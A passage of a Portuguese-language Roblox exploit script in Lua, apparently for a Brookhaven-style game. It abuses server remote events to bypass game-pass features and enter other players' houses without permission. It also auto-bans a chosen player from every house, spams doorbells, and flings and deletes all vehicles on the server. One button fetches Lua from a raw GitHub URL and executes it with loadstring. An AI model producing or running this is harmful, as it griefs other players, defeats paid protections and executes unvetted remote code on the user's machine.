["Chifres Bsp"] = 233705355,
["Ghosdeeri"] = 132809431,
["Anjo Brilhante Winas"] = 192557913
}
local nomeSelecionado = nil
local nomes = {}
for nome in pairs(acessoriosEspeciais) do
table.insert(nomes, nome)
end
Tabs.AVT:AddDropdown({
Name = Translator:traduzir("Escolha o Efeito"),
Description = Translator:traduzir("Selecione um acessório para ativar"),
Options = nomes,
Default = "Efeitos",
Callback = function(selecionado)
nomeSelecionado = selecionado
end
})
Tabs.AVT:AddButton({
Translator:traduzir("Vestir Acessório"),
function()
if nomeSelecionado then
local id = acessoriosEspeciais[nomeSelecionado]
if id then
local args = { [1] = id }
game:GetService("ReplicatedStorage").Remotes.Wear:InvokeServer(unpack(args))
end
end
end
})
end
-----------------///////TABS - HouseTab///////-----------------
do
Tabs.HouseTab:AddSection({Translator:traduzir("Música na Casa (Game Pass)")})
local selectedMusic = ""
local MusicsList = {
{ Name = "Leaked by WxDeveloper", Id = 10561310081763},
{ Name = "Leaked by WxDeveloper", Id = 112651304685397},
{ Name = "Leaked by WxDeveloper", Id = 16190782181},
{ Name = "Leaked by WxDeveloper", Id = 1843497734},
}
local Musics = {}
local MusicIds = {}
for _, music in ipairs(MusicsList) do
table.insert(Musics, music.Name)
if music.Id then
MusicIds[music.Name] = music.Id
end
end
local Dropdown = Tabs.HouseTab:AddDropdown({
Name = Translator:traduzir("Selecionar Música"),
Description = Translator:traduzir("Funciona apenas com Game Pass"),
Options = Musics,
Default = "Músicas",
Callback = function(Value)
selectedMusic = Value
end
})
Tabs.HouseTab:AddTextBox({
Name = Translator:traduzir("Insira o ID da Música"),
Description = Translator:traduzir("Você pode colar o ID direto aqui"),
PlaceholderText = "Ex: 74366765967475",
Callback = function(value)
local parsed = tonumber(value)
if parsed then
selectedMusic = parsed
end
end
})
Tabs.HouseTab:AddButton({Translator:traduzir("Tocar Música"), function()
local musicId = tonumber(selectedMusic) or MusicIds[selectedMusic]
if musicId then
local args = {
[1] = "PickHouseMusicText",
[2] = tostring(musicId)
}
local remote = game:GetService("ReplicatedStorage").RE:FindFirstChild("1Player1sHous1e")
if remote then
remote:FireServer(unpack(args))
end
end
end})
Tabs.HouseTab:AddButton({Translator:traduzir("Parar Música"), function()
local args = {
[1] = "PickingHouseMusicStop",
[2] = ""
}
local remote = game:GetService("ReplicatedStorage").RE:FindFirstChild("1Player1sHous1e")
if remote then
remote:FireServer(unpack(args))
end
end})
end
do
local function updateHouseList()
local novaTabela = {}
for _, v in pairs(workspace["001_Lots"]:GetChildren()) do
table.insert(novaTabela, v.Name)
end
return novaTabela
end
local selectedHouseNumber = nil
Tabs.HouseTab:AddSection({Translator:traduzir("Funções Avançadas <Casas>")})
local CasasOpem = Tabs.HouseTab:AddDropdown({
Name = Translator:traduzir("Selecionar Uma Casa"),
Description = "Select the <font color='rgb(88, 101, 242)'>House</font>",
Options = updateHouseList(),
Default = "Casas",
Callback = function(Value)
selectedHouseNumber = Value
end
})
Tabs.HouseTab:AddButton({
Translator:traduzir("Atualizar Lista"),
function()
CasasOpem:Set(updateHouseList())
end
})
local Button = Tabs.HouseTab:AddButton({Translator:traduzir("Teleporta Para <Casa>"), function()
local House = workspace["001_Lots"]:FindFirstChild(tostring(selectedHouseNumber))
if House and game.Players.LocalPlayer.Character then
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(House.WorldPivot.Position)
end
end})
Tabs.HouseTab:AddButton({
Translator:traduzir("Teleporta Para O Cofre"),
function()
if selectedHouseNumber then
local house = workspace["001_Lots"]:FindFirstChild(selectedHouseNumber)
if house and house:FindFirstChild("HousePickedByPlayer") then
local safeDoor = house.HousePickedByPlayer.HouseModel:FindFirstChild("001_Safe"):FindFirstChild("SafeDoor")
if safeDoor then
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = safeDoor.CFrame
end
end
end
end
})
local autoClickEnabled = false
local function autoClickDoorBell()
while autoClickEnabled do
if selectedHouseNumber then
local house = workspace["001_Lots"]:FindFirstChild(selectedHouseNumber)
if house and house:FindFirstChild("HousePickedByPlayer") then
local doorBell = house.HousePickedByPlayer.HouseModel:FindFirstChild("001_DoorBell")
if doorBell then
local clickDetector = doorBell.TouchBell:FindFirstChild("ClickDetector")
if clickDetector then
fireclickdetector(clickDetector)
end
end
end
end
task.wait(0.2)
end
end
Tabs.HouseTab:AddToggle({
Name = Translator:traduzir("Auto Clique <Campainha>"),
Description = Translator:traduzir("Clica Na Campainha da casa"),
Default = false,
Callback = function(Value)
autoClickEnabled = Value
if autoClickEnabled then
spawn(autoClickDoorBell)
end
end
})
local autoKnockEnabled = false
local function autoKnockDoor()
while autoKnockEnabled do
if selectedHouseNumber then
local house = workspace["001_Lots"]:FindFirstChild(selectedHouseNumber)
if house and house:FindFirstChild("HousePickedByPlayer") then
local frontDoor = house.HousePickedByPlayer.HouseModel:FindFirstChild("001_HouseDoors"):FindFirstChild("HouseDoorFront")
if frontDoor then
local clickDetector = frontDoor.Knock.TouchBell:FindFirstChild("ClickDetector")
if clickDetector then
fireclickdetector(clickDetector)
end
end
end
end
task.wait(0.2)
end
end
Tabs.HouseTab:AddToggle({
Name = Translator:traduzir("Auto Bate <Portas>"),
Description = "Auto Bate Nas Portas Constantemente",
Default = false,
Callback = function(Value)
autoKnockEnabled = Value
if autoKnockEnabled then
spawn(autoKnockDoor)
end
end
})
local Toggle = Tabs.HouseTab:AddToggle({Name = Translator:traduzir("Atravessar Porta <Casa>"), Description = Translator:traduzir("Auto Atravessar a porta da casa entre sem perm"), Default = false})
Toggle:Callback(function(Value)
local House = workspace["001_Lots"]:FindFirstChild(tostring(selectedHouseNumber))
if House and House:FindFirstChild("HousePickedByPlayer") then
local housepickedbyplayer = House.HousePickedByPlayer
local doors = housepickedbyplayer.HouseModel:FindFirstChild("001_HouseDoors")
if doors and doors:FindFirstChild("HouseDoorFront") then
for _, Base in ipairs(doors.HouseDoorFront:GetChildren()) do
if Base:IsA("BasePart") then
Base.CanCollide = not Value
end
end
end
end
end)
Tabs.HouseTab:AddSection({Translator:traduzir("Casa Assombrada")})
local RemoteEvent = ReplicatedStorage.RE:FindFirstChild("1Player1sHous1e")
local toggles = {
houseColor = false,
curtains = false,
garageDoor = false,
permissions = false,
blacklist = false
}
local function getRandomColor()
return Color3.new(math.random(), math.random(), math.random())
end
local function toggleColorChange(state)
toggles.houseColor = state
while toggles.houseColor do
local randomColor = getRandomColor()
RemoteEvent:FireServer("ColorPickHouse", randomColor)
wait(2)
end
end
local function toggleCurtainChange(state)
toggles.curtains = state
while toggles.curtains do
RemoteEvent:FireServer("Curtains")
wait(1.5)
end
end
local function toggleGarageDoorChange(state)
toggles.garageDoor = state
while toggles.garageDoor do
RemoteEvent:FireServer("GarageDoor")
wait(5)
end
end
Tabs.HouseTab:AddToggle({
Name = Translator:traduzir("Roleta Cor Da Casa"),
Default = false,
Callback = toggleColorChange
})
Tabs.HouseTab:AddToggle({
Name = Translator:traduzir("Roleta Cortinas"),
Default = false,
Callback = toggleCurtainChange
})
Tabs.HouseTab:AddToggle({
Name = Translator:traduzir("Roleta Porta da Garagem"),
Default = false,
Callback = toggleGarageDoorChange
})
end
do
local selectedPlayer = nil
local blacklistActive = false
Tabs.HouseTab:AddSection({Translator:traduzir("Banir Jogadores")})
local Players11 = Tabs.HouseTab:AddDropdown({
Name = Translator:traduzir("Jogadores"),
Options = {},
Default = "Players",
Callback = function(playerName)
selectedPlayer = Players:FindFirstChild(playerName)
end
})
Tabs.HouseTab:AddButton({
Name = Translator:traduzir("Atualizar Lista"),
Callback = function()
local novaTabela = {}
for _, v in pairs(Players:GetPlayers()) do
if v ~= Players.LocalPlayer then
table.insert(novaTabela, v.Name)
end
end
Players11:Set(novaTabela)
end
})
Tabs.HouseTab:AddToggle({
Name = Translator:traduzir("Auto Banimento"),
Description = Translator:traduzir("Banir automaticamente o jogador de todas as casas"),
Default = false,
Callback = function(state)
blacklistActive = state
spawn(function()
while blacklistActive and selectedPlayer do
local lots = workspace:FindFirstChild("001_Lots")
if lots then
for _, casa in pairs(lots:GetChildren()) do
local permissao = casa:FindFirstChild("HousePickedByPlayer")
and casa.HousePickedByPlayer:FindFirstChild("HouseModel")
and casa.HousePickedByPlayer.HouseModel:FindFirstChild("Permissions:Disallow")
if permissao then
local args = { [1] = selectedPlayer }
permissao:FireServer(unpack(args))
end
end
end
task.wait(1)
end
end)
end
})
local colors = {
Color3.new(1, 0, 0),
Color3.new(0, 1, 0),
Color3.new(0, 0, 1),
Color3.new(1, 1, 0),
Color3.new(0, 1, 1),
Color3.new(1, 0, 1)
}
local isHouseRGBActive = false
local function changeColor()
local replicatedStorage = game:GetService("ReplicatedStorage")
local remoteEvent = replicatedStorage:FindFirstChild("RE") and replicatedStorage.RE:FindFirstChild("1Player1sHous1e")
if not remoteEvent then
warn("RemoteEvent '1Player1sHous1e' não encontrado.")
return
end
while isHouseRGBActive do
for _, color in ipairs(colors) do
if not isHouseRGBActive then return end
local args = {
[1] = "ColorPickHouse",
[2] = color
}
pcall(function()
remoteEvent:FireServer(unpack(args))
end)
task.wait(0.8)
end
end
end
local function toggleHouseRGB(drip)
isHouseRGBActive = drip
if isHouseRGBActive then
spawn(changeColor)
end
end
local RemoteCasa = ReplicatedStorage.RE:FindFirstChild("1RPHous1eEven1t")
local House1, House2, House3 = "", "", ""
local repeatNames = false
Tabs.HouseTab:AddSection({Translator:traduzir("Funções Avançada Da Casa")})
Tabs.HouseTab:AddTextBox({
Title = Translator:traduzir("Definir O Nome"),
Description = Translator:traduzir("Primeiro Nome Da Repetição!"),
Default = "",
PlaceholderText = "Nick Casa",
ClearText = false,
Callback = function(N)
House1 = N
end
})
Tabs.HouseTab:AddTextBox({
Title = Translator:traduzir("Definir O Nome"),
Description = Translator:traduzir("Segundo Nome Da Repetição!"),
Default = "",
PlaceholderText = "Nick Casa",
ClearText = false,
Callback = function(N)
House2 = N
end
})
Tabs.HouseTab:AddTextBox({
Title = Translator:traduzir("Definir O Nome"),
Description = Translator:traduzir("Terceiro Nome Da Repetição!"),
Default = "",
PlaceholderText = "Nick Casa",
ClearText = false,
Callback = function(N)
House3 = N
end
})
Tabs.HouseTab:AddToggle({
Name = Translator:traduzir("Casa Lgbt"),
Default = false,
Callback = function(drip)
toggleHouseRGB(drip)
end
})
Tabs.HouseTab:AddToggle({
Name = Translator:traduzir("Repetir Nome da Casa"),
Description = Translator:traduzir("Repete os nomes automaticamente na casa"),
Default = false,
Callback = function(R)
repeatNames = R
if R then
task.spawn(function()
while repeatNames do
if RemoteCasa then
RemoteCasa:FireServer("BusinessName", House1)
task.wait(1)
RemoteCasa:FireServer("BusinessName", House2)
task.wait(1)
RemoteCasa:FireServer("BusinessName", House3)
task.wait(1)
end
end
end)
end
end
})
end
-----------------///////TABS - Carros///////-----------------
do
Tabs.Carros:AddSection({Translator:traduzir("Velocidade Do Carro Sem <GamePass>")})
local carSpeed = 25
local turboValue = "25"
Tabs.Carros:AddTextBox({
Title = Translator:traduzir("Definir Velocidade"),
Description = Translator:traduzir("Velocidade do carro preencher o espaço"),
Default = tostring(carSpeed),
PlaceholderText = Translator:traduzir("Velocidade"),
ClearText = false,
Callback = function(Value)
carSpeed = tonumber(Value) or carSpeed
end
})
Tabs.Carros:AddTextBox({
Title = Translator:traduzir("Definir Turbo"),
Description = Translator:traduzir("Valor turbo (Velocidade add)"),
Default = turboValue,
PlaceholderText = "Turbo",
ClearText = false,
Callback = function(Value)
turboValue = tostring(Value)
end
})
Tabs.Carros:AddButton({
Name = Translator:traduzir("Mudar Velocidade e Turbo"),
Callback = function()
local vehicles = workspace:FindFirstChild("Vehicles")
local car = vehicles and vehicles:FindFirstChild(LocalPlayer.Name .. "Car")
local seatsFolder = car and car:FindFirstChild("Seats")
local seatInSeats = seatsFolder and seatsFolder:FindFirstChild("VehicleSeat")
if seatInSeats then
local maxSpeed = seatInSeats:FindFirstChild("MaxSpeed")
if maxSpeed and maxSpeed:IsA("NumberValue") then
maxSpeed.Value = carSpeed
end
local turbo = seatInSeats:FindFirstChild("Turbo")
if turbo and turbo:IsA("StringValue") then
turbo.Value = turboValue
end
end
local bodyFolder = car and car:FindFirstChild("Body")
local seatInBody = bodyFolder and bodyFolder:FindFirstChild("VehicleSeat")
if seatInBody then
local topSpeed = seatInBody:FindFirstChild("TopSpeed")
if topSpeed and topSpeed:IsA("NumberValue") then
topSpeed.Value = carSpeed
end
local turbo = seatInBody:FindFirstChild("Turbo")
if turbo and turbo:IsA("StringValue") then
turbo.Value = turboValue
end
end
redzlib:Notify({
Title = Translator:traduzir("Velocidade Aplicada"),
Description = Translator:traduzir("Velocidade: " .. carSpeed .. " | Turbo: " .. turboValue),
Type = "Success",
Duration = 4
})
end
})
end
do
Tabs.Carros:AddSection({Translator:traduzir("Musica No Carro (Game Pass)")})
local selectedMusic = ""
local MusicsList = {
{ Name = "confession", Id = 92992163303925 },
{ Name = "Pac Man Phonk", Id = 120889371113999 },
{ Name = "Trying To finde", Id = 132643763204246 },
{ Name = "Batalla de bombas", Id = 71995582569283 },
{ Name = "Another hiit", Id = 99731755429975 },
{ Name = "Mtg uh uh ha ha", Id = 122697381252723 },
{ Name = "fa3 renitch", Id = 128934903242385 },
{ Name = "Kawaii", Id = 13067828528278 },
{ Name = "Feeling", Id = 120764084521465 },
{ Name = "Aura + Egp", Id = 97841988407875 },
{ Name = "Mtg Balada", Id = 83797836818857 },
{ Name = "tomagi mo tão", Id = 111668097052966 },
{ Name = "mtg terra bela funk", Id = 134770548505933 },
{ Name = "Hard tuff fye", Id = 92979002969874 },
{ Name = "The Twelve", Id = 126153082683694 },
{ Name = "PASSO BEM SOLTO", Id = 119936139925486 },
{ Name = "phonkV2", Id = 97279560249940 },
{ Name = "phonkV3", Id = 74697049223758 },
{ Name = "phonkV4", Id = 95248559316142 },
{ Name = "Notaker - The Storm", Id = 5410084538 },
{ Name = "Vintage - Love Is", Id = 7029092469 },
{ Name = "Stephen Walking - JC-08", Id = 7028970358 },
{ Name = "Grant - Color", Id = 7023828725 },
{ Name = "Snavs - Us", Id = 5410082468 },
{ Name = "Eskai - Mimi", Id = 7023749823 },
{ Name = "PIXL - Galactic Voyage", Id = 5410081112 },
{ Name = "Tony Romera - Heat Wave", Id = 5410083226 },
{ Name = "Conro - All I Want", Id = 7023680426 },
{ Name = "Pixel Terror", Id = 5410086149 },
{ Name = "DESERT STAR - Empty Sky", Id = 5410084938 },
{ Name = "Grant - Are We Still Young", Id = 5410086445 },
{ Name = "Stonebank - Fire", Id = 7028985831 },
{ Name = "Jay Cosmic - Ocean Eyes", Id = 5410085296 },
{ Name = "Rootkit - Taking Me Higher", Id = 5410081542 },
{ Name = "Duumu - Forward", Id = 5410081471 },
{ Name = "Tony Romera & SQWAD - St Tropez", Id = 5410084006 },
{ Name = "Tony Romera - I Can't", Id = 5410082805 },
{ Name = "Koven - Gold", Id = 5410083299 },
{ Name = "soupandreas - Sprite", Id = 5410083814 },
{ Name = "Hoaprox & Rogue - New World", Id = 5410082346 },
{ Name = "Protostar - Feel Your Heart", Id = 5410082171 },
{ Name = "Feint feat - Drifters", Id = 5410084426 },
{ Name = "Bensley - All Night", Id = 5410082273 },
{ Name = "Em dezembro de 81", Id = 92492039534399 },
{ Name = "favela venceu", Id = 97097857368633 },
{ Name = "Backrooms", Id = 120817494107898 },
{ Name = "Músicas de Piano acústico", Id = 1838457617 },
{ Name = "Sushi Don't lie", Id = 134713831368801 },
{ Name = "Kerosene Cyristal Castels", Id = 17647322226 },
{ Name = "song6", Id = 11295853276 },
{ Name = "song7", Id = 11394802913 },
{ Name = "song8", Id = 1333498630722271 },
{ Name = "song9", Id = 100725558369704 },
{ Name = "montagem sombra girl", Id = 11164818809 },
--Ins
{ Name = "Não Estou louco", Id = 74366765967475 },
{ Name = "Manda Meu Passinho", Id = 77741294709660 },
{ Name = "Cenário Selvagem", Id = 117562011395992 },
{ Name = "Want To Love", Id = 104846670980072 },
{ Name = "Melodia Virtual", Id = 139147474886402 },
{ Name = "Signora Funk", Id = 123394392737234 },
{ Name = "Blassed Mane", Id = 16831108393 },
{ Name = "Doors", Id = 13530436461 },
{ Name = "Onichan?", Id = 17422156627 },
{ Name = "hoodtrap", Id = 73685038553576 },
{ Name = "I love you so", Id = 98364034458260 },
{ Name = "Passei de glock", Id = 187643630 },
{ Name = "Poze Cv", Id = 124244582950595 },
{ Name = "Trap", Id = 131582258401093 },
{ Name = "Oruan - Sou Teu fã", Id = 85342086082111 },
{ Name = "Soldado Guerreiro", Id = 71590664026646 },
{ Name = "Fuga Na Viatura", Id = 131891110268352 },
{ Name = "forró ja cansou", Id = 74812784884330},
{ Name = "gol contra", Id = 122114766584918},
{ Name = "Eligebete", Id = 129370559491985 },
{ Name = "Forsaken", Id = 136274352281439 },
{ Name = "Anxiety", Id = 101483901475189 },
{ Name = "Grelo So fé", Id = 72200166265935 },
{ Name = "Phonk sexoagressivo", Id = 111995323199676 },
{ Name = "forró da resenha", Id = 120973520531216 },
{ Name = "escolha certa", Id = 107088620814881 },
{ Name = "lembro ate hoje", Id = 71531533552899 },
{ Name = "oruam", Id = 85342086082111 },
{ Name = "chinese phonk", Id = 134713831368801 },
{ Name = "Nooo", Id = 73685038553576 },
{ Name = "tuber 93", Id = 1839246711 },
{ Name = "idk", Id = 93218265275853 },
{ Name = "Pizza Place", Id = 1601659619 },
{ Name = "beats", Id = 16190782181 },
{ Name = "Samba", Id = 1836175030 },
{ Name = "Samba2", Id = 1838888602 },
{ Name = "Rock Roll", Id = 8654835474 },
{ Name = "Phonk", Id = 18841894272 },
{ Name = "Flamengo funk", Id = 8080255618 },
{ Name = "Carro de Ovos", Id = 3148329638 },
{ Name = "Banka", Id = 16190784229 },
{ Name = "Essa é Antiga", Id = 90999978343771 },
{ Name = "Essa Aqui é Braba", Id = 120833520065453 },
{ Name = "Help Me Phonk", Id = 72458292563094 },
{ Name = "Envolve A Tropa", Id = 88094479399489 },
{ Name = "No Pick Mulher", Id = 92893359226454 },
{ Name = "Mídia", Id = 105832154444494 },
{ Name = "Phonk Version", Id = 103409297553965 },
{ Name = "Phonk louco", Id = 73140398421340 },
{ Name = "Slowed Vapo No Vapo", Id = 106317184644394 },
{ Name = "Phonk Brasil", Id = 111281710445018 },
{ Name = "No Solinho", Id = 72440232513341 },
{ Name = "Phonk Inglês", Id = 14145624031 },
{ Name = "Ultra Slowed", Id = 84733736048142 },
{ Name = "Ritmada", Id = 104541292443133 },
{ Name = "Ritmada Novinha", Id = 94718473830640 },
{ Name = "So de te olha", Id = 74187181906707 }
}
local Musics = {}
local MusicIds = {}
for _, music in ipairs(MusicsList) do
table.insert(Musics, music.Name)
if music.Id then
MusicIds[music.Name] = music.Id
end
end
local Dropdown = Tabs.Carros:AddDropdown({
Name = Translator:traduzir("Selecionar Música"),
Description = Translator:traduzir("funciona apenas com game pass"),
Options = Musics,
Default = "Musica",
Callback = function(Value)
selectedMusic = Value
end
})
Tabs.Carros:AddButton({Translator:traduzir("Tocar Música"), function()
local musicId = MusicIds[selectedMusic]
if musicId then
local eventos = {
"PickingVehicleMusicText",
"PickingCarMusicText",
"PickingScooterMusicText",
"PickHouseMusicText",
"ToolMusicText"
}
for _, evento in ipairs(eventos) do
local remote = game:GetService("ReplicatedStorage").RE:FindFirstChild("1Player1sCa1r")
if remote then
remote:FireServer(evento, musicId)
end
end
end
end})
Tabs.Carros:AddButton({Translator:traduzir("Para Música"), function()
local args = {
[1] = "StopMusic",
[2] = 73423225643184
}
game:GetService("ReplicatedStorage").RE:FindFirstChild("1Player1sCa1r"):FireServer(unpack(args))
end})
local isColorChanging = false
local colorChangeCoroutine = nil
local function changeCarColor()
while isColorChanging do
for _, vehicle in ipairs(workspace.Vehicles:GetChildren()) do
if vehicle:FindFirstChild("Owner") and vehicle.Owner.Value == game.Players.LocalPlayer.Name then
local randomColor = Color3.new(math.random(), math.random(), math.random())
for _, part in ipairs(vehicle:GetDescendants()) do
if part:IsA("BasePart") then
part.Color = randomColor
end
end
end
end
wait(0.5)
end
end
Tabs.Carros:AddToggle({
Name = Translator:traduzir("Carro Colorido <GamePass>"),
Default = false,
Callback = function(state)
isColorChanging = state
if isColorChanging then
colorChangeCoroutine = coroutine.create(changeCarColor)
coroutine.resume(colorChangeCoroutine)
end
end
})
end
do
local function updateVehicleList()
local novaTabela = {}
for _, v in pairs(game.Workspace.Vehicles:GetChildren()) do
table.insert(novaTabela, v.Name)
end
return novaTabela
end
local selectedVehicle = nil
Tabs.Carros:AddSection({Translator:traduzir("Carro Funções")})
local CarrosTT = Tabs.Carros:AddDropdown({
Name = Translator:traduzir("Selecione um carro"),
Description = Translator:traduzir("Selecionar Um Carro para as funções"),
Options = updateVehicleList(),
Default = Translator:traduzir("Carros"),
Callback = function(Value)
selectedVehicle = Value
end
})
Tabs.Carros:AddSlider({
Name = Translator:traduzir("Verificação de Carros"),
Min = 1,
Max = 25,
Increase = 1,
Default = 25,
Callback = function(Value) end
})
Tabs.Carros:AddButton({
Translator:traduzir("Atualizar lista"),
function()
CarrosTT:Set(updateVehicleList())
end
})
Tabs.Carros:AddButton({
Name = Translator:traduzir("Teleporta ao Assento"),
Callback = function()
local pl = game.Players.LocalPlayer
local character = pl.Character or pl.CharacterAdded:Wait()
local root = character:WaitForChild("HumanoidRootPart")
if selectedVehicle then
local vehicle = workspace.Vehicles:FindFirstChild(selectedVehicle)
if vehicle and vehicle:FindFirstChild("Body") then
local body = vehicle.Body
local destino = nil
if body:FindFirstChild("VehicleSeat") then
destino = body.VehicleSeat
elseif body:FindFirstChild("CarSeatPosition") then
destino = body.CarSeatPosition
elseif body:FindFirstChild("Passenger") then
destino = body.Passenger
end
if destino and destino:IsA("BasePart") then
root.CFrame = destino.CFrame + Vector3.new(0, 3, 0)
end
end
end
end
})
Tabs.Carros:AddToggle({
Name = Translator:traduzir("Puxa o Carro"),
Description = Translator:traduzir("Teleporta temporariamente o carro até você"),
Default = false,
Callback = function(Value)
if not Value then return end
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local hrp = char:FindFirstChild("HumanoidRootPart")
if not hrp then return end
if selectedVehicle then
local vehicle = workspace.Vehicles:FindFirstChild(selectedVehicle)
if vehicle and vehicle:FindFirstChild("Body") then
local body = vehicle.Body
local seat = body:FindFirstChild("CarSeatPosition") or body:FindFirstChild("VehicleSeat") or body:FindFirstChild("Passenger")
if seat and seat:IsA("BasePart") then
local originalPosition = hrp.CFrame
hrp.CFrame = seat.CFrame
wait(0.8)
if vehicle.PrimaryPart then
vehicle:SetPrimaryPartCFrame(originalPosition)
elseif seat then
vehicle:MoveTo(originalPosition.Position)
end
hrp.CFrame = originalPosition
end
end
end
end
})
end
do
Tabs.Carros:AddSection({Translator:traduzir("Extreme Carros <Super>")})
Tabs.Carros:AddButton({
Name = Translator:traduzir("Fly Carro Free"),
Callback = function()
loadstring(game:HttpGet(('https://raw.githubusercontent.com/realgengar/scripts/refs/heads/main/FlyCar.lua'),true))()
end
})
local function teleportAllCars()
for _, vehicle in ipairs(game.Workspace.Vehicles:GetChildren()) do
for _, part in ipairs(vehicle:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
part.Massless = true
end
end
end
wait(0.3)
for _, vehicle in ipairs(game.Workspace.Vehicles:GetChildren()) do
local playerPosition = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
vehicle:SetPrimaryPartCFrame(playerPosition)
for _, part in ipairs(vehicle:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = true
part.Massless = false
end
end
end
end
local ButtonTeleportCars = Tabs.Carros:AddButton({Translator:traduzir("Puxa Carros"), function()
teleportAllCars()
end})
Tabs.Carros:AddButton({
Name = Translator:traduzir("Remover os carros <Todos>"),
Callback = function()
local ofnawufn = false
if ofnawufn == true then
return
end
ofnawufn = true
local cawwfer = "MilitaryBoatFree"
local oldcfffff = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(1754, -2, 58)
wait(0.3)
local args = {
[1] = "PickingBoat",
[2] = cawwfer
}
game:GetService("ReplicatedStorage").RE:FindFirstChild("1Ca1r"):FireServer(unpack(args))
wait(1)
local wrinfjn
for _, errb in pairs(game.workspace.Vehicles[game.Players.LocalPlayer.Name.."Car"]:GetDescendants()) do
if errb:IsA("VehicleSeat") then
wrinfjn = errb
end
end
repeat
if game.Players.LocalPlayer.Character.Humanoid.Health == 0 then return end
if game.Players.LocalPlayer.Character.Humanoid.Sit == true then
if not game.Players.LocalPlayer.Character.Humanoid.SeatPart == wrinfjn then
game.Players.LocalPlayer.Character.Humanoid.Sit = false
end
end
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = wrinfjn.CFrame
task.wait()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = wrinfjn.CFrame + Vector3.new(0,1,0)
task.wait()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = wrinfjn.CFrame + Vector3.new(0,-1,0)
task.wait()
until game.Players.LocalPlayer.Character.Humanoid.SeatPart == wrinfjn
for _, wifn in pairs(game.workspace.Vehicles[game.Players.LocalPlayer.Name.."Car"]:GetDescendants()) do
if wifn.Name == "PhysicalWheel" then
wifn:Destroy()
end
end
local FLINGED = Instance.new("BodyThrust", game.workspace.Vehicles[game.Players.LocalPlayer.Name.."Car"].Chassis.Mass)
FLINGED.Force = Vector3.new(50000, 0, 50000)
FLINGED.Name = "SUNTERIUM HUB FLING"
FLINGED.Location = game.workspace.Vehicles[game.Players.LocalPlayer.Name.."Car"].Chassis.Mass.Position
for _, wvwvwasc in pairs(game.workspace.Vehicles:GetChildren()) do
for _, ascegr in pairs(wvwvwasc:GetDescendants()) do
if ascegr.Name == "VehicleSeat" then
local targetcar = ascegr
local tet = Instance.new("BodyVelocity", game.workspace.Vehicles[game.Players.LocalPlayer.Name.."Car"].Chassis.Mass)
tet.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
tet.P = 1250
tet.Velocity = Vector3.new(0,0,0)
tet.Name = "#mOVOOEPF$#@F$#GERE..>V<<<<EW<V<<W"
for m=1,25 do
local pos = {x=0, y=0, z=0}
pos.x = targetcar.Position.X
pos.y = targetcar.Position.Y
pos.z = targetcar.Position.Z
pos.x = pos.x + targetcar.Velocity.X / 2
pos.y = pos.y + targetcar.Velocity.Y / 2
pos.z = pos.z + targetcar.Velocity.Z / 2
if pos.y <= -200 then
game.workspace.Vehicles[game.Players.LocalPlayer.Name.."Car"].Chassis.Mass.CFrame = CFrame.new(0,1000,0)
else
game.workspace.Vehicles[game.Players.LocalPlayer.Name.."Car"].Chassis.Mass.CFrame = CFrame.new(Vector3.new(pos.x,pos.y,pos.z))
task.wait()
game.workspace.Vehicles[game.Players.LocalPlayer.Name.."Car"].Chassis.Mass.CFrame = CFrame.new(Vector3.new(pos.x,pos.y,pos.z)) + Vector3.new(0,-2,0)
task.wait()
game.workspace.Vehicles[game.Players.LocalPlayer.Name.."Car"].Chassis.Mass.CFrame = CFrame.new(Vector3.new(pos.x,pos.y,pos.z)) * CFrame.new(0,0,2)
task.wait()
game.workspace.Vehicles[
game.Players.LocalPlayer.Name.."Car"].Chassis.Mass.CFrame = CFrame.new(Vector3.new(pos.x,pos.y,pos.z)) * CFrame.new(2,0,0)
task.wait()
end
task.wait()
end
end
end
end
task.wait()
local args = {
[1] = "DeleteAllVehicles"
}
game:GetService("ReplicatedStorage").RE:FindFirstChild("1Ca1r"):FireServer(unpack(args))
game.Players.LocalPlayer.Character.Humanoid.Sit = false
wait()
local tet = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.HumanoidRootPart)
tet.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
tet.P = 1250
tet.Velocity = Vector3.new(0,0,0)
tet.Name = "#mOVOOEPF$#@F$#GERE..>V<<<<EW<V<<W"
wait(0.1)
for m=1,2 do
task.wait()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = oldcfffff
end
wait(1)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = oldcfffff
wait()
game.Players.LocalPlayer.Character.HumanoidRootPart:FindFirstChild("#mOVOOEPF$#@F$#GERE..>V<<<<EW<V<<W"):Destroy()
wait(0.2)
ofnawufn = false
end
})
local ESPEnabled = false
local espConnections = {}
local function createESP(vehicle)
local billboard = Instance.new("BillboardGui")
billboard.Name = "ESP"
billboard.Adornee = vehicle
billboard.Size = UDim2.new(0, 150, 0, 30)
billboard.StudsOffset = Vector3.new(0, 3, 0)
billboard.AlwaysOnTop = true
local textLabel = Instance.new("TextLabel")
textLabel.Size = UDim2.new(1, 0, 1, 0)
textLabel.BackgroundTransparency = 1
textLabel.TextColor3 = Color3.new(0, 1, 0)
textLabel.TextScaled = true
textLabel.Font = Enum.Font.SourceSansBold
textLabel.Parent = billboard
billboard.Parent = vehicle
return textLabel
end
local function toggleESP(state)
ESPEnabled = state
if ESPEnabled then
for _, vehicle in pairs(workspace.Vehicles:GetChildren()) do
if not vehicle:FindFirstChild("ESP") and vehicle:IsA("Model") and vehicle.PrimaryPart then
local textLabel = createESP(vehicle)
local connection = game:GetService("RunService").RenderStepped:Connect(function()
if ESPEnabled and vehicle and vehicle.PrimaryPart then
local player = game.Players.LocalPlayer
local distance = (player.Character.PrimaryPart.Position - vehicle.PrimaryPart.Position).Magnitude
textLabel.Text = vehicle.Name .. " | Distância: " .. math.floor(distance) .. " studs"
end
end)
table.insert(espConnections, connection)
end
end
else
for _, connection in pairs(espConnections) do
connection:Disconnect()
end
espConnections = {}
for _, vehicle in pairs(workspace.Vehicles:GetChildren()) do
